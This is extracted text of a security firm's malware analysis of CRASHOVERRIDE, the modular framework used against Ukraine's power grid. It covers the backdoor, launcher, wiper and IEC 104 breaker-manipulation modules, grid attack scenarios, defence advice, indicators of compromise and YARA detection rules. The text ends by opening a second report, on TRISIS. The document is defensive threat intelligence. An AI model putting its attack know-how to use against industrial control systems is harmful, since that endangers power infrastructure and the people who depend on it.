+Capabilities Overview
+The CRASHOVERRIDE malware is a modular framework consisting of an initial
+backdoor, a loader module, and several supporting and payload modules.
+The most important items are the backdoor, which provides access to the infected
+system, the loader module, which enables effects on the target, and the individual
+payload modules. Dragos focused our analysis on the previously mentioned items
+as they are most relevant for defending grid operations.
+Dragos analysts were able to obtain two samples of the malware related to effects
+on the targeted industrial control system. One sample was the IEC 104 protocol
+module, and the other sample was the data wiper. Both samples shared common
+design characteristics indicative of being part of a broader ICS attack and manipulation framework. ESET was able to uncover an additional IEC 61850 and OPC
+module which they have analyzed and shared with Dragos.
+Below contains an overview of program execution flow and dependency.
+Figure 2. CRASHOVERRIDE Module Overview Including ESET
+s Discoveries
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Module Commonalities
+Dragos analysts were able to determine the compile time for both modules obtained as being within 12 minutes of each other just after 2:30 am on December
+18th in an unknown time zone although timestamps for both samples were zeroed
+out. These times falls in the same timeframe as the Ukraine events. Both module samples exported a function named Crash that served as the main function to
+begin execution. The common Crash function enables the ability to 
+plug and play
+additional modules.
+Backdoor/RAT Module
+Key Features
+Authenticates with a local proxy via the internal network established before the
+backdoor installation
+After authentication opens HTTP channel to external command and control
+server (C2) through internal proxy
+Receives commands via the external command and control (C2) server
+Creates a file on the local system (contents not determined)
+Overwrites an existing service to point to the backdoor so the malware persists
+between reboots
+Details
+Access to the ICS network flows through a backdoor module. Dragos obtained
+four samples which all featured similar functionality. On execution, the malware
+attempts to contact a hard-coded proxy address located within the local network.
+ELECTRUM must establish the internal proxy before the installation of the backdoor.
+The malware expects to communicate to an internal proxy listening on TCP 3128.
+This port is a default port associated with the Squid proxy. The beaconing continues without pause until it establishes a connection. The backdoor then sends a series of HTTP POST requests with the victim
+s Windows GUID (a unique identifier set
+with every Windows installation) in the HTTP body. This information authenticates
+the targeted machine to the command and control (C2) server. If the C2 server
+does not respond, the backdoor will exit.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+If the authentication is successful to the internal proxy, the malware attempts to perform an HTTP CONNECT to an external C2 server via the internal proxy. Across four
+samples, Dragos identified three different C2 addresses which were likely part of the
+December 2016 attack on Ukraine:
+195.16.88.6
+93.115.27.57
+5.39.218.152
+A check of the TOR project
+s ExoneraTOR service indicates that all of the listed IP addresses were listed as active TOR nodes during the events in Ukraine.
+When performing the HTTP CONNECT, the malware attempts to identify the system
+default user agent. If this cannot be determined or does not exist, then a hard-coded
+default for the malware is used:
+Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
+The malware can be configured to beacon out periodically afterwards via a hard-coded
+configuration value. The implant is designed to retrieve commands from the C2 server:
+Create a new process as logged in user
+Create a new process as specified user via CreateProcessWithLogon
+Write a file
+Copy a file
+Execute a command as logged in user
+Execute a command as specified user
+Kill the backdoor
+Stop a service
+Specify a user (log in as user) and stop a service
+Specify a user (log in as user) and start a service
+Alter an existing service to point to specified process and change to start at boot
+Execution results in several artifacts left on the host. During execution, the malware
+checks for the presence of a mutex value. Mutexes are program objects that name resources to enable sharing with multiple program threads. In this case, CRASHOVERRIDE
+checks the following:
+\Sessions\1\Windows\ApiPortection
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+The backdoor may also create and check a blank mutex name. Reviewing memory during execution and analysis of other modules in the malware indicates that \
+Sessions\1\Windows\ appears multiple times, indicating that a check may be performed.
+The backdoor writes a file to either C:\Users\Public\ or C:\Users\<Executing User>
+The contents of this file were not discovered during our analysis, and it did not
+appear to be vital to the malware functionality. However, this is a good indicator of
+the observed activity and may be leveraged to detect this specific sample through
+host-based indicator checking.
+The service manipulation process is the only persistence mechanism for the malware. When used, the adversary can select an arbitrary system service, direct it to
+refer to CRASHOVERRIDE, and ensure it is loaded on system boot. If this fails, the
+malware, although present on disk, will not start when the machine reboots.
+When evaluating the options provided to the adversary, an important piece of
+functionality associated with most remote access tools is absent: a command to
+exfiltrate data. While this functionality could be created via the command execution options, one would expect this option to be explicit given options to download and copy files on the host if the adversary intended to use the tool as an
+all-encompassing backdoor and espionage framework. Instead, the functionality
+of this tool is explicitly designed for facilitating access to the machine and executing commands on the system and cannot reasonably be confused as an espionage
+platform, data stealer, or another such item.
+Launcher Module
+Key Features
+Loads payload modules which manipulate the ICS and cause destruction via
+the wiper
+Starts itself as a service likely to hide better
+Loads the payload module(s) defined on the command line during execution
+Launches the payload and begins either 1 or 2 hours countdown before
+launching the data wiper (variant dependent)
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Details
+Within the attack sequence, the ICS payload modules and data wiper module must be
+loaded by a separate loader EXE. Dragos obtained one sample of this file called the
+Launcher.
+The launcher takes three parameters on start:
+Launcher.exe <Working Directory> payload.dll configuration.ini
+On launch, the sample analyzed starts a service named defragsvc. It then loads the
+module DLL via an exported function named Crash. A new thread is created at the
+highest priority on the executing machine. Control then passes from the launcher to
+the loaded module while the launcher waits two hours before executing the data wiper.
+Data Wiper Module
+Key Features
+Clears all registry keys associated with system services
+Overwrites all ICS configuration files across the hard drives and all mapped network drives specifically targeting ABB PCM600 configuration files in this sample
+Overwrites generic Windows files
+Renders the system unusable
+Details
+Once executed, the data wiper module clears registry keys, erase files, and kill processes running on the system. A unique characteristic of the wiper is that the main
+functionality was implemented within the Crash function.
+The first task of the wiper writes zeros into all of the registry keys in:
+SYSTEM\CurrentControlSet\Services
+This registry tree contains initialization values for each service on the system. Removal
+of these values renders a system inoperable. The next wiper task targets ICS configuration files across the local hard drive and mapped network drives. The malware authors included functionality to target drives lettered C-Z.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+The wiper also targets file types unique to ABB
+s PCM600 product used in substation automation in addition to more general Windows files. The below table outlines some of the unique file extensions used by industrial control systems.
+File Extension
+.pcmp
+.pcmi
+.pcmt
+.CIN
+.paf
+.SCL
+.cid
+.scd
+Usage
+PCM600 Project (ABB)
+PCM600 IEC File (ABB)
+PCM600 Template IED File
+ABB MicroScada
+Programmable Logic File
+PLC Archive File
+Substation Configuration Language
+Configured IED Description
+Substation Configuration Description
+Table 1. File extensions targeted by the data wiper module
+IEC 104 Module
+Key Features
+Reads a configuration file defining the target (likely an RTU) and action to
+take
+Kills
+ legitimate the master process on the victim host
+Masquerades as the new master
+Enters one of four modes:
+Sequence mode: continuously sets RTU IOAs to open
+Range mode: (1) Interrogates each RTU for valid IOAs; (2) toggles each
+IOA between open and closed state
+Shift mode: unknown at this time
+Persist mode: unknown at this time/not fully implemented
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Figure 3. Protocol Transmission Types in IEC 104
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Figure 4: Execution Flow of IEC 104 Module in CRASHOVERRIDE
+Details
+The CRASHOVERRIDE IEC 104 module is a complete implementation of IEC 104 to
+serve in a 
+MASTER
+ role. This raw functionality creates a Swiss army knife for substation automation manipulation yet also provides tailored functionality. The functions exposed to the malware operator are confined by the options of the configuration file. This report outlines the options analyzed today but notes that extending
+and enhancing functionality is straight forward with the robust protocol implementation.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+The design of the IEC 104 module differs from the wiper and suggests that a secondary group of developers could have been involved. Instead of the exported
+crash function containing the primary execution instructions, the function parses
+the config file then starts a thread containing the IEC 104 master. The configuration
+file can have multiple entries offset by [STATION], followed by 13 values:
+File Extension
+target_ip
+target_port
+logfile
+adsu
+stop_comm_service
+change
+first_action
+silence
+uselog
+stop_comm_service_name
+timeout
+socket_timeout
+range
+Usage
+NONE
+NONE
+NONE
+NONE
+<blank>
+1 second
+15 seconds
+NONE
+Table 2. IEC-104 module configuration file fields
+The configuration file is critical to achieving an effect on the target, as target specifications for the device must be provided by the operator in the configuration file
+for the module to function. There are no observed automated means of enumerating the network and then impacting RTUs.
+Each [STATION]entry spawns a thread for follow-on effects against ICS equipment.
+Once the IEC 104 master thread begins, the first action is to try to kill the communications service process which acts as the master process. Once the module stops
+the communications service process, a socket opens with the target IP and destination port sending data to slave devices and receiving the resulting responses.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Depending on the mode defined within the configuration file the module may:
+Set specific values
+Enumerate IOAs on the target devices
+Continuously set the IOA to open, or
+Continuously toggle the IOA between open and closed states.
+This module contains no interactive capability.
+RTUs and PLCs, in simplistic terms, act on input and output. Each discrete input
+and output is tied to a memory address. Depending on implementation these addresses are referred to as coils, registers, or for IEC 104: information object addresses (IOAs). IOAs are typed and can hold different value types, such as Boolean
+or Unsigned Integer values. The 104 module properly understands how to enumerate and discover IOAs to operate breakers.
+IEC 101 Module
+This module was unavailable to Dragos at the time of publication. ESET
+s analysis
+claims the functionality is equivalent to the IEC 104 module except with communications over serial. However, Dragos was able to confirm that the module exists.
+IEC 61850 Module
+This module was unavailable to Dragos at the time of publication. ESET
+s analysis
+claims once executed the module leverages a configuration file to identify targets
+and without a configuration file it enumerates the local network to identify potential targets. It communicates with the targets to identify whether the device controls a circuit breaker switch. For certain variables (no further information available) it will change their state while also generating an action log. However, Dragos
+was able to confirm that this module does exist.
+OPC DA Module
+This module was unavailable to Dragos at the time of publication. ESET
+s analysis
+claims the module does not require a configuration. It enumerates all OPC servers
+and their associated items looking for a subset related to ABB containing the string
+ctl. It then writes 0x01 twice into the item overwriting the proper value giving the
+device a primary value out of limits device status. However, Dragos was able to
+confirm that this module exists.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+SIPROTEC DoS Module
+This module was unavailable to Dragos at the time of publication. ESET
+s analysis
+claims the module sends UDP packets to port 50000 exploiting CVE-2015-5374
+causing the SIPROTEC digital relay to fall into an unresponsive state. Dragos could
+not validate that this module exists.
+Capability Conclusions
+ELECTRUM
+s ability to adopt a development style described above has several implications: first, developers can integrate new protocols into the overall framework
+quickly. Second, ELECTRUM could easily leverage external development teams
+skilled at exploiting industrial control systems. Some adversaries would likely approach capability development through a 
+two-tier
+ approach: a core development
+team skilled at writing the overall framework and a second team knowledgeable
+about a given control system. The platform team would take the control system modules and add logic to fit them within the platform. The IEC 104 module
+demonstrates this approach.
+Given the execution described with secondary threads the team authoring the
+Crash function likely did not author the IEC 104 master portion of the code. Both
+development teams probably worked together to decide on a log file format for
+consumption by the main Crash function and executed in each of the IEC 104
+module threads.
+Implications of capability
+This section describes legitimate CRASHOVERRIDE attack and impact scenarios.
+Extensions of these and potential hypothetical scenarios were deemed indeterministic and will not be addressed.
+Attack Option: De-energize substation
+CRASHOVERRIDE, based on prior knowledge, must have a configuration file for
+targeting information of one or multiple RTUs. This configuration option allows for
+several types of activities. One operation the configuration option allows is 
+sequence.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+The command sequence polls the target device for the appropriate addresses. Once it is at the subset of known addresses, it can then toggle the value. The
+command then begins an infinite loop and continues to set addresses to this value effectively opening closed breakers. If a system operator tries to issue a close
+command on their HMI the sequence loop will continue to re-open the breaker.
+This loop maintaining open breakers will effectively de-energize the substation
+line(s) preventing system operators from managing the breakers and re-energize
+the line(s).
+The effects of de-energizing a line or substation largely depends on the system
+dynamics, power flows, and other variables. In some circumstances, it may have no
+immediate impact while in others it could put customers into an outage. It is important to note that grid operations encompass failure modes and operations can
+normally compensate. That is, after all, why humans are 
+in the loop
+ to monitor
+and maintain the system.
+From a recovery standpoint, the remote staff will effectively have lost control of the
+breakers and will be required to send crews to the substation. If the CRASHOVERRIDE loop continues unabated, then the crews will likely sever communications as
+both a troubleshooting and recovery action. Severing communications puts the
+substation in manual operation where a physical presence is now required. This
+could result in a few hours of outages
+Attack Option: Force an Islanding event
+Dragos is currently investigating a separate and more disruptive attack option in
+CRASHOVERRIDE as described by ESET. As before, the attacker must have a configuration file for targeting information of one or multiple RTUs. This configuration file
+now uses the range command to begin a loop that toggles the status of the breaker between open and close continuously. The changing breaker status will invoke
+automated protective operations to isolate (commonly referred to as 
+islanding
+the substation. This is an intentional self-protective capability of grid operations.
+In effect, this breaker strobing takes the substation offline due to the protective
+relay scheme
+s automated operations causing perturbations of some degree on the
+grid as scientific principles define how the behavior interacts with frequencies and
+phases. The variables of these effects will dictate impacts but could cause system
+instabilities depending on the effectiveness of the protection relays and their operations. Grid operation contingencies become more critical if multiple substations
+were under attack likely resulting in many small islanding events. This is assuming
+coordinated targeting of multiple electric sites and could result in a few days of
+outages.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Adding Amplification Attacks
+Forcing an islanding of a substation through continual breaker manipulation is significant by itself. However, CRASHOVERRIDE has the potential to amplify this attack
+even more. Two separate CRASHOVERRIDE modules offer this opportunity.
+Using OPC to create a Denial of Visibility
+The OPC module ESET analysis suggests it can brute force values. Module OPC.
+exe will send out a 0x01 status which for the target systems equates to a 
+Primary
+Variable Out of Limits
+ misdirecting operators from understanding protective relay
+status.
+Bit Mask
+0x10
+0x08
+0x04
+0x02
+0x01
+Definition
+More Status Available 
+ More status information is available via
+Command 48, Read Additional Status Information.
+Loop Current Fixed 
+ The Loop Current is being held at a fixed
+value and is not responding to process variations.
+Loop Current Saturated 
+ The Loop Current has reached its
+upper (or lower) endpoint limit and cannot increase (or decrease)
+any further.
+Non-Primary Variable Out of Limits 
+ A Device variable not
+mapped to the PV is beyond its operating limits.
+Primary Variable Out of Limits 
+ The PV is beyond its operating
+limits.
+The outcome of the action infers that various systems can either perform actions
+on wrong information or report incorrect information to system operators. This
+Denial of Visibility will amplify misunderstanding and confusion while system operators troubleshoot the problem as their system view will show breakers closed
+when they are open.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Using CVE-2015-5374 to Hamper Protective Relays
+A second, and more severe, amplifying attack would be to neutralize the automated protective system by creating a Denial of Service against some or all of the
+protective relays. This possibility exists in a tool ESET has claimed to have discovered that implements the known CVE-2015-5374 Denial of Service condition to the
+Siemens SIPROTEC relays. Siemens released a patch for this in July 2015 under Siemens advisory SCA-732541. At this time it is believed that CVE-2015-5374 causes a
+denial of service (DoS) of the complete relay functionality and not just the network
+communications module. Dragos has independent evidence that this module exists but it cannot be confirmed.
+Hampering the protective scheme by disabling the protective relays can broaden
+the islanding event and, if done at scale, could trigger a larger event causing multiple substations and lines 
+islanding
+ from the electric grid. Siemens SIPROTEC was
+likely chosen in this attack only because that was the vendor device at the Ukraine
+Kiev site attacked in December 2016. This same tactic against digital relays, albeit not the same exploit, could have a similar impact on grid operations. However,
+there are many different types of digital relays each with different configurations.
+This amplifying attack would be very difficult to do at scale properly and would
+require a significant investment on behalf of the adversary.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Defense Recommendations
+Doing the basics is always appropriate, and it significantly helps move ICS into a
+defensible position. However, they are not worth repeating here, and instead, more
+tailored approaches specific to ICS security analysts trying to defend against CRASHOVERRIDE and similar capabilities are presented below:
+Electric utility security teams should have a clear understanding of where
+and how IEC 104 and IEC 61850 protocols are used. North American electric utilities should include DNP3 on this list in case the malware is extended
+to impact U.S. systems. Look specifically for increased usage of the protocols against baselines established in the environment. Also, look for systems
+leveraging these protocols if they have not before and specifically try to
+identify systems that are generating new network flows using these protocols.
+Similarly, understand OPC implementations and identify how the protocol is
+being used. It is a protocol that is pervasive across numerous sectors. Also,
+CRASHOVERRIDE is the second, out of four, ICS tailored malware suite with
+OPC capabilities. OPC will appear abnormal in the CRASHOVERRIDE usage
+as it is being used to scan all devices on the network which would generate
+more traffic than usual.
+Robust backups of engineering files such as project logic, IED configuration files, and ICS application installers should be offline and tested. This will
+help reduce the impact of the wiper functionality.
+Prepare incident response plans for this attack and perform table top exercises bringing in appropriate stakeholders and personnel across engineering, operations, IT, and security. The scenario should include substation
+outages with the requirement to do manual operations while recovering the
+SCADA environment and gathering appropriate forensics.
+The included YARA rules and other indicators of compromise can be leveraged to search for possible infections (IOCs). The YARA rules will provide a
+higher confidence towards discovering an infection than the other IOCs and
+should be searched for against Windows OT systems especially noting HMIs.
+The behavioral analytics to identify the communications on the network
+would provide the highest capability to detect this and similar threats.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+While some defenses and architecture changes may have value in other situations,
+the following are responses that are not appropriate for this attack:
+Transmission and distribution companies should not rely on the usage of
+other protocols such as DNP3 as a protection mechanism. The completeness of the CRASHOVERRIDE framework suggests there may be other undisclosed modules such as a DNP3 module. Also, adding this functionality
+into the existing framework would not require extensive work on the part of
+the adversary.
+Air gapped networks, unidirectional firewalls, anti-virus in the ICS, and other
+passive defenses and architecture changes are not appropriate solutions for
+this attack. No amount of security control will protect against a determined
+human adversary. Human defenders are required
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Indicators
+TYPE
+SUBTYPE
+Description
+ICS Kill Chain
+Impact
+Host
+Mutex Value
+ApiPortection9d3
+Mutex value checked
+Stage 2: Install
+Recon
+Host
+Mutex Value
+<Blank Value>
+Mutex value created
+Stage 2: Install
+Recon
+Host
+File
+C:\Users\<Public OR Executing User>\
+imapi
+File dropped and deleted after program exit
+Stage 2: Install
+Recon
+Host
+Service Name
+defragsvc
+Name given to service start
+Stage 2: C2
+Remote Access
+Network
+IP Address
+195.16.88.6
+External C2 server [DEC 2016] (likely
+TOR node at time of attack)
+Stage 2: C2
+Remote Access
+Network
+IP Address
+93.115.27.57
+External C2 server [DEC 2016] (likely
+TOR node at time of attack)
+Stage 2: C2
+Remote Access
+Network
+IP Address
+5.39.218.152
+External C2 server [DEC 2016] (likely
+TOR node at time of attack)
+Stage 2: C2
+Remote Access
+Network
+User Agent String
+Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
+Default user agent string used in C2
+if unable to get system default user
+agent string
+Stage 2: C2
+Remote Access
+Host
+Command Line
+<Drive>:\<name>.exe -ip=<IP_address>
+-ports=<ports>
+Command line arguments used to
+launch custom port scanner observed
+with malware. Command line logging
+required to track.
+Stage 2: Develop
+Recon
+Host
+Registry Key
+HKLM\SYSTEM\CurrentControlSet\Services\<target_service_name>\ImagePath
+<path to malware>
+Change in Service Image Path in the
+system registry to point to malware
+allowing malware to restart on system
+reboot.
+Stage 2: Installation
+Persistence
+Host
+SHA1 File Hash
+F6C21F8189CED6AE150F9EF2E82A3A57843B587D
+Traffic to <internalIP>:3128, HTTP
+CONNECT to 5.39.218.152:443. Backdoor/RAT.
+Phase2: C2
+Remote Access
+Host
+SHA1 File Hash
+CCCCE62996D578B984984426A024D9B250237533
+Traffic to <internalIP>:3128, HTTP
+CONNECT to 5.39.218.152:443. Backdoor/RAT.
+Phase2: C2
+Remote Access
+Host
+SHA1 File Hash
+8E39ECA1E48240C01EE570631AE8F0C9A9637187
+Backdoor/RAT Proxy + HTTP CONNECT to 93.115.27.57:443.
+Phase2: C2
+Remote Access
+Host
+SHA1 File Hash
+2CB8230281B86FA944D3043AE906016C8B5984D9
+Backdoor/RAT Proxy + HTTP CONNECT to 195.16.88.6:443
+Phase2: C2
+Remote Access
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Host
+SHA1 File Hash
+79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A
+Launcher for payload DLL. Takes input as
+three command line parameters 
+ working directory, module, and config file.
+Stage 2: Attack
+Loss of Control
+Host
+SHA1 File Hash
+94488F214B165512D2FC0438A581F5C9E3BD4D4C
+Module for 104 effect. Exports 'Crash'
+Stage 2: Attack
+which is invoked by launcher. Functionality requires config file.
+Loss of Control
+Host
+SHA1 File Hash
+5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04
+Wiper module, wipes list of files by
+extension, removes system processes,
+and makes registry changes to prevent
+system boot.
+Stage 2: Attack
+Destruction
+Host
+SHA1 File Hash
+B92149F046F00BB69DE329B8457D32C24726EE00
+Wiper module, wipes list of files by
+extension, removes system processes,
+and makes registry changes to prevent
+system boot.
+Stage 2: Attack
+Destruction
+Host
+SHA1 File Hash
+B335163E6EB854DF5E08E85026B2C3518891EDA8
+Custom-built port scanner.
+Stage 2: Develop
+Recon
+Host
+SHA1 File Hash
+7FAC2EDDF22FF692E1B4E7F99910E5DBB51295E6
+OPC Data Access protocol enumeration
+of servers and addresses
+Stage 2: Attack
+Loss of Control
+Host
+SHA1 File Hash
+ECF6ADF20A7137A84A1B319CCAA97CB0809A8454
+IEC-61850 enumeration and address
+manipulation
+Stage 2: Attack
+Loss of Control
+Host
+Filename
+opc.exe
+OPC Data Access protocol enumeration
+of servers and addresses
+Stage 2: Attack
+Loss of Control
+Host
+Filename
+61850.exe
+IEC-61850 enumeration and address
+manipulation
+Stage 2: Attack
+Loss of Control
+Host
+Filename
+haslo.exe
+Wiper module, wipes list of files by
+extension, removes system processes,
+and makes registry changes to prevent
+system boot.
+Stage 2: Attack
+Destruction
+Host
+Filename
+104.dll
+IEC-104 module
+Stage 2: Attack
+Loss of Control
+Host
+Filename
+haslo.dat
+Wiper module
+Stage 2: Attack
+Destruction
+OPC Server
+OPC Group
+Aabdul
+OPC DA Module
+Stage 2: Attack
+Loss of Visibility
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Yara Rules
+Also found at https://github.com/dragosinc/CRASHOVERRIDE
+import 
+import 
+hash
+rule dragos_crashoverride_exporting_dlls
+meta:
+description = 
+CRASHOVERRIDE v1 Suspicious Export
+author = 
+Dragos Inc
+condition:
+pe.exports(
+Crash
+) & pe.characteristics
+rule dragos_crashoverride_suspcious
+meta:
+description = 
+CRASHOVERRIDE v1 Wiper
+author = 
+Dragos Inc
+strings:
+$s0 = 
+SYS_BASCON.COM
+ fullword nocase wide
+$s1 = 
+.pcmp
+ fullword nocase wide
+$s2 = 
+.pcmi
+ fullword nocase wide
+$s3 = 
+.pcmt
+ fullword nocase wide
+$s4 = 
+.cin
+ fullword nocase wide
+condition:
+pe.exports(
+Crash
+) and any of ($s*)
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+YARA Rules
+rule dragos_crashoverride_name_search {
+meta:
+description = 
+CRASHOVERRIDE v1 Suspicious Strings and Export
+author = 
+Dragos Inc
+strings:
+$s0 = 
+101.dll
+ fullword nocase wide
+$s1 = 
+Crash101.dll
+ fullword nocase wide
+$s2 = 
+104.dll
+ fullword nocase wide
+$s3 = 
+Crash104.dll
+ fullword nocase wide
+$s4 = 
+61850.dll
+ fullword nocase wide
+$s5 = 
+Crash61850.dll
+ fullword nocase wide
+$s6 = 
+OPCClientDemo.dll
+ fullword nocase wide
+$s7 = 
+ fullword nocase wide
+$s8 = 
+CrashOPCClientDemo.dll
+ fullword nocase wide
+$s9 = 
+D2MultiCommService.exe
+ fullword nocase wide
+$s10 = 
+CrashD2MultiCommService.exe
+ fullword nocase wide
+$s11 = 
+61850.exe
+ fullword nocase wide
+$s12 = 
+OPC.exe
+ fullword nocase wide
+$s13 = 
+haslo.exe
+ fullword nocase wide
+$s14 = 
+haslo.dat
+ fullword nocase wide
+condition:
+any of ($s*) and pe.exports(
+Crash
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+YARA Rules
+rule dragos_crashoverride_hashes {
+meta:
+description = 
+CRASHOVERRIDE Malware Hashes
+author = 
+Dragos Inc
+condition:
+filesize < 1MB and
+hash.sha1(0, filesize) == 
+f6c21f8189ced6ae150f9ef2e82a3a57843b587d
+hash.sha1(0, filesize) == 
+cccce62996d578b984984426a024d9b250237533
+hash.sha1(0, filesize) == 
+8e39eca1e48240c01ee570631ae8f0c9a9637187
+hash.sha1(0, filesize) == 
+2cb8230281b86fa944d3043ae906016c8b5984d9
+hash.sha1(0, filesize) == 
+79ca89711cdaedb16b0ccccfdcfbd6aa7e57120a
+hash.sha1(0, filesize) == 
+94488f214b165512d2fc0438a581f5c9e3bd4d4c
+hash.sha1(0, filesize) == 
+5a5fafbc3fec8d36fd57b075ebf34119ba3bff04
+hash.sha1(0, filesize) == 
+b92149f046f00bb69de329b8457d32c24726ee00
+hash.sha1(0, filesize) == 
+b335163e6eb854df5e08e85026b2c3518891eda8
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+YARA Rules
+rule dragos_crashoverride_moduleStrings {
+meta:
+description = 
+IEC-104 Interaction Module Program Strings
+author = 
+Dragos Inc
+strings:
+$s1 = 
+IEC-104 client: ip=%s; port=%s; ASDU=%u
+ nocase wide ascii
+$s2 = 
+ MSTR ->> SLV
+ nocase wide ascii
+$s3 = 
+ MSTR <<- SLV
+ nocase wide ascii
+$s4 = 
+Unknown APDU format !!!
+ nocase wide ascii
+$s5 = 
+iec104.log
+ nocase wide ascii
+condition:
+any of ($s*)
+rule dragos_crashoverride_configReader
+meta:
+description = 
+CRASHOVERRIDE v1 Config File Parsing
+author = 
+Dragos Inc
+strings:
+$s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 }
+$s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 }
+$s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? }
+$s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? }
+condition:
+all of them
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+YARA Rules
+rule dragos_crashoverride_weirdMutex
+meta:
+description = 
+Blank mutex creation assoicated with CRASHOVERRIDE
+author = 
+Dragos Inc
+strings:
+$s1 = { 81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ?? 40 00 a3 ?? ?? ?? 00
+85 c0 }
+$s2 = { 8d 85 ?? ?? ?? ff 50 57 57 6a 2e 57 ff 15 ?? ?? ?? 00 68 ?? ?? 40 00}
+condition:
+all of them
+rule dragos_crashoverride_serviceStomper
+meta:
+description = 
+Identify service hollowing and persistence setting
+author = 
+Dragos Inc
+strings:
+$s0 = { 33 c9 51 51 51 51 51 51 ?? ?? ?? }
+$s1 = { 6a ff 6a ff 6a ff 50 ff 15 24 ?? 40 00 ff ?? ?? ff 15 20 ?? 40 00 }
+condition:
+all of them
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+YARA Rules
+rule dragos_crashoverride_wiperModuleRegistry
+meta:
+description = 
+Registry Wiper functionality assoicated with CRASHOVERRIDE
+author = 
+Dragos Inc
+strings:
+$s0 = { 8d 85 a0 ?? ?? ?? 46 50 8d 85 a0 ?? ?? ?? 68 68 0d ?? ?? 50 }
+$s1 = { 6a 02 68 78 0b ?? ?? 6a 02 50 68 b4 0d ?? ?? ff b5 98 ?? ?? ?? ff 15
+04 ?? ?? ?? }
+$s2 = { 68 00 02 00 00 8d 85 a0 ?? ?? ?? 50 56 ff b5 9c ?? ?? ?? ff 15 00 ??
+?? ?? 85 c0 }
+condition:
+all of them
+rule dragos_crashoverride_wiperFileManipulation
+meta:
+description = 
+File manipulation actions associated with CRASHOVERRIDE wiper
+author = 
+Dragos Inc
+strings:
+$s0 = { 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15
+1c ?? ?? ?? 8b d8 }
+$s2 = { 6a 00 50 57 56 53 ff 15 4c ?? ?? ?? 56 }
+condition:
+all of them
+TRISIS Malware
+Analysis of Safety System Targeted Malware
+Dragos Inc.
+www.dragos.com
+version 1.20171213
+Executive Summary
+TLP: WHITE information may be distributed without restriction
+In mid-November 2017, the Dragos, Inc. team discovered ICS-tailored malware deployed against at least
+one victim in the Middle East. The team identifies this malware as TRISIS because it targets Schneider Electric
+s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements.
+TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. Importantly, the malware leverages no inherent vulnerability in Schneider
+Electric products. However, this capability, methodology, and tradecraft in this very specific event may now
+be replicated by other adversaries and thus represents an addition to industrial asset owner and operators
+ threat models.
+Why Are We Publishing This?
+The Dragos team notified our ICS WorldView customers immediately after validating the malicious nature
+of the software. Following that notification, the team sent a notification to the U.S. Department of Homeland Security, Department of Energy, Electric Sector Information Sharing Analysis Center (E-ISAC), and partners. We broadcasted to our customers and partners that we would not be releasing a public report until
+the information became public through other channels. It is Dragos
+ approach around industrial threats to
+never be the first to identify new threats publicly; infrastructure security is a highly sensitive matter and the
+more time the infrastructure community has to address new challenges without increased public attention
+is ideal. Dragos
+ focus is on keeping customers informed and ideally keeping sensitive information out of
+the public where the narrative can be quickly lost and sensationalized. However, once information about
+threats or new capabilities are made public, it is Dragos
+ approach to follow-up with public reports that
+capture the nuance to avoid hype while reinforcing lessons learned and advice to the industry.
+Key Take-Aways
+TLP: WHITE information may be distributed without restriction
+The malware targets Schneider Electric
+s Triconex safety instrumented system (SIS) thus the name
+choice of TRISIS for the malware.
+TRISIS has been deployed against at least one victim.
+The victim identified so far is in the Middle East, and currently, there is no intelligence to support that
+there are victims outside of the Middle East.
+The Triconex line of safety systems are leveraged in numerous industries - however, each SIS is unique
+and to understand process implications would require specific knowledge of the process. This means
+that this is not a highly scalable attack that could be easily deployed across numerous victims without
+significant additional work.
+The Triconex SIS Controller was configured with the physical keyswitch in 
+program mode
+ during operation. If the controller is placed in Run mode (program changes not permitted), arbitrary changes in
+logic are not possible substantially reducing the likelihood of manipulation.
+Although the attack is not highly scalable, the tradecraft displayed is now available as a blueprint to
+other adversaries looking to target SIS and represents an escalation in the type of attacks seen to date
+as it is specifically designed to target the safety function of the process.
+Compromising the security of an SIS does not necessarily compromise the safety of the system. Safety
+engineering is a highly specific skill set and adheres to numerous standards and approaches to ensure
+that a process has a specific safety level. As long as the SIS performs its safety function the compromising of its security does not represent a danger as long as it fails safe.
+It is not currently known what exactly the safety implications of TRISIS would be. Logic changes on the
+final control element implies that there could be risk to the safety as set points could be changed for
+when the safety system would or would not take control of the process in an unsafe condition
+SIS Background
+TLP: WHITE information may be distributed without restriction
+Safety systems are those control systems, often identified as Safety Instrumented Systems (SIS), maintaining safe conditions if other failures occur. It is not currently known what the specific safety implications of
+TRISIS would be in a production environment. However, alterations to logic on the final control element
